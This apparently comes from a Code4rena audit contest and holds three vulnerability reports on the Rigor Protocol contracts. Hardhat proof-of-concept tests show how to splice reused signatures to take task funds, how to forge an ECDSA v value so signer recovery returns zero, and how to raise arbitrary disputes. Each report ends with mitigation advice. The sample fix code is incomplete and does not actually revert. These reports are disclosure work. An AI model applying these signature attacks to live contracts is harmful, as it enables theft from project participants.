Rigor Protocol contest - wastewa's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L330-L338 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L206-L226

Vulnerability details

Impact

Contractor can mark any task, that has a matching ID to a community ID (which it has been published on), as complete and take the funds without approval from the project builder.

This attack vector is very likely to happen because communityIDs and ProjectIDs grow incrementally from 1, this means a contractor just has to get tasks added until a taskID matches a communityID, then they can steal the funds. I am sure this would be easy because contractors are probably in charge of setting up the tasks anyways.

I showed how easily this could be done in my PoC, without any real social engineering. The main attack takes advantage of the fact that abi.decode is not strict about the data that is being parsed, it just casts bytes to the datatype. abi.decode only reverts if there is an underflow of bytes, but not if there is an overflow (please note this for the future since it is used a bunch in this code).

Proof of Concept

I put this code in the community tests to run it. It sets up a project in a normal flow as would be done in prod:

1. Builder creates project
2. Builder publishes to some community
3. Contractor in project makes tasks with builder
4. Contractor runs attack vector

it('Malicious user contractor can steal funds from project', async () => {
        const builder = signers[0]
        const contractor = signers[1]

        // builder makes project 
        let newProject: Project;
        ({ projectContractInstance: newProject } =
          await createProject(
            homeFiContract,
            tasksLibrary.address,
            '0x',
            await homeFiContract.tokenCurrency1(),
        ))

        // then builder gets into community and publishes
        const apr = 10
        const communityId = 1
        let data = {
            types: ['uint256', 'address', 'uint256', 'uint256', 'uint256', 'bytes'],
            values: [
            communityId,
            newProject.address,
            apr,
            publishFeeAmount,
            (await communityContract.communities(communityId)).publishNonce,
            sampleHash,
            ],
        }
        let [encodedData, signature] = await multisig(data, [
            community1Owner,
            builder,
        ])
        let tx = await communityContract.publishProject(encodedData, signature)

        // contractor and builder agree to make task
        const hashArray = ['0x']
        const taskCost = 1e11
        const costArray = [taskCost]
        let data2 = {
            types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
            values: [
                hashArray,
                costArray,
                await newProject.taskCount(),
                newProject.address
            ],
        }
        let [encodedData2, signature2] = await multisig(data2, [builder, contractor]);

        tx = await newProject.addTasks(encodedData2, signature2);
        await tx.wait()

        // fund project from some source (could also be community loan)
        // self lending for this example
        let amountFund = await builderLend(newProject, mockDAIContract, builder)

        // contractor set subcontractor for task as themself
        let taskId = communityId
        newProject = newProject.connect(contractor)
        tx = await newProject.inviteSC([taskId], [contractor.address])
        await tx.wait()
        tx = await newProject.acceptInviteSC([taskId])
        await tx.wait()
        tx = await newProject.allocateFunds()
        await tx.wait()

        // create malicious data input
        // contractor signs project publishing data for attack
        let [, contractorSignature] = await multisig(data, [
            contractor
        ])
        // use input from original publishing transaction and make signature order be 
        // <builder, contractor, contractor>
        let secondSignaturePos = 132
        let malSig = "0x" + 
            signature.slice(secondSignaturePos) +
            contractorSignature.slice(2) + 
            contractorSignature.slice(2)
        
        await mockDAIContract.mock.transfer // set up mock currency call
            .withArgs(contractor.address, taskCost)
            .returns(true);

        // malicious contractor can now mark any task with id == communityId as complete
        tx = await newProject.setComplete(encodedData, malSig)
        await expect(tx).to.emit(newProject, 'TaskComplete').withArgs(taskId)
    });

Tools Used

js, chai tests

Recommended Mitigation Steps

I recommend making different checks on the data passed into functions. Throughout the codebase there was a lot of dynamically sized data inputs, that are then decoded into params, without a lot of security checks. I think the best way to fix this is to add a nonce to all data inputs, and a hash of function/contract as one of the inputs into the data bytes; with this fix, all signatures will be for unique data that won't allow malicious users to resuse signatures from other function calls.

Using basic IDs for everything is probably also not a good practice because it allows for ID collision like above, I would also recommend using a hash of some sort to make IDs more unique--this would allow for less hacks like above.

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L169-L203 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/SignatureDecoder.sol#L20-L41

Vulnerability details

Impact

User can stealthily join community without community owner approval. An unwanted user can pass member checks (ask to publish) and more down the line, they can easily front run any community creation and join with no approvals.

Proof of Concept

I ran this code in the test/utils/communityTests.ts file in describe('createCommunity()' tests.

it('Builder should be able to front run community and join without permission', async () => {
        const randomHash = '0x0a19';
        
        // malicious builder can front run 
        // community they want to get in being built
        // especially since community IDs are sequential
        let newCommunityId = (await communityContract.communityCount()).toNumber() + 1
        
        // malicious builder adds themselves to community before it is made
        let data = {
            types: ['uint256', 'address', 'bytes'],
            values: [newCommunityId, signers[0].address, sampleHash],
        }
        let [encodedData, signature] = await multisig(data, [
            signers[0],
            signers[0],
        ])

        // malicious builder should make first signature 
        // cause signature recover to return address(0)
        // we achieve this here by setting the EDSA param v to 30
        // in the first signature
        let vString = BigNumber.from(30).toHexString()
        let v = vString.slice(vString.length - 2) // get last byte for v
        let vLoc = 130 // loc of v byte
        // replace byte with new v value 30
        signature = 
            signature.slice(0, vLoc) + 
            v + 
            signature.slice(vLoc + v.length)

        // add malicious builder
        let tx = await communityContract
            .connect(signers[0])
            .addMember(encodedData, signature)
        await expect(tx).to.emit(communityContract, 'MemberAdded')

        // now create community with a different signer
        tx = await communityContract
          .connect(signers[2])
          .createCommunity(randomHash, tokenCurrency1);
        await tx.wait();
        
        
        // for sanity check see that we can't readd member
        [encodedData, signature] = await multisig(data, [
            signers[2],
            signers[0],
        ])
        let tx2 = communityContract
            .connect(signers[0])
            .addMember(encodedData, signature)
        await expect(tx2).to.be.revertedWith('Community::Member Exists')
      });
  });

Tools Used

tests included in repo, hardhat, chai, js

Recommended Mitigation Steps

I wrote another bug report with these mitigation steps: I recommend reverting transactions that have signer = 0

I know the project has a mechanism to allow hashes of transactions to be executed by anyone if approved, so I would check this condition first then check the signature. This way you keep the current mechanism working and not allow invalid signatures to come through the pipeline.

example of fix:

function checkSignatureValidity(
        address _address,
        bytes32 _hash,
        bytes memory _signature,
        uint256 _signatureIndex
    ) internal {
        if (approvedHashes[_address][_hash]) {
            // delete from approvedHash
            delete approvedHashes[_address][_hash];
            return;
        }

        // make this revert if signer is 0
        address _recoveredSignature = SignatureDecoder.recoverKey(
            _hash,
            _signature,
            _signatureIndex
        );
    }
    }

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493-L536 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Disputes.sol#L84-L122 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/SignatureDecoder.sol#L20-L41

Vulnerability details

Impact

When a project does not have a contractor set, any bad actor can raise a dispute on Task 0 (even if that task doesn't exist) and any other task that has a subcontractor set. I rated this problem medium/low because it seems admins will oversee dispute resolution anyways, so it probably won't threaten funds but will cause a stray dispute.

Proof of Concept

I added this code to disputeTests.ts under the describe('Disputed addTasks()' section. I added a dispute to Task Id 0, but this can be done on any task with a subcontractor set.

it('Can raise random dispute if contractor isnt set', async () => {
        // choose taskId = 0
        let taskId = 0

        // build data for dispute
        const actionValues = [[exampleHash], [400000000000], 1, projectAddress];
        const [encodedData, signature] = await makeDispute(
          projectAddress,
          taskId,
          1,
          actionValues,
          signers[2],
          '0x4a5a',
        );
        
        // broken signature will make signer be equal 0
        let brokenSignature = '0x00'

        // call raise dispute with data to be used
        // and broken signature so contractor check passes
        const tx = project
          .connect(signers[2])
          .raiseDispute(encodedData, brokenSignature);

        // expect dispute to be raised
        await expect(tx).to.emit(disputesContract, 'DisputeRaised')
    });

Tools Used

tests included in repo, hardhat, chai, js

Recommended Mitigation Steps

I recommend reverting transactions that have signer = 0 It generally is not good practice to allow signature checks to return signer = 0 without reverting, and I am submitting another bug (of higher priority) where this is the root cause

I know the project has a mechanism to allow hashes of transactions to be executed by anyone if approved, so I would check this condition first then check the signature. This way you keep the current mechanism working and not allow invalid signatures to come through the pipeline.

example of fix:

function checkSignatureValidity(
        address _address,
        bytes32 _hash,
        bytes memory _signature,
        uint256 _signatureIndex
    ) internal {
        if (approvedHashes[_address][_hash]) {
            // delete from approvedHash
            delete approvedHashes[_address][_hash];
            return;
        }

        // make this revert if signer is 0
        address _recoveredSignature = SignatureDecoder.recoverKey(
            _hash,
            _signature,
            _signatureIndex
        );
    }
    }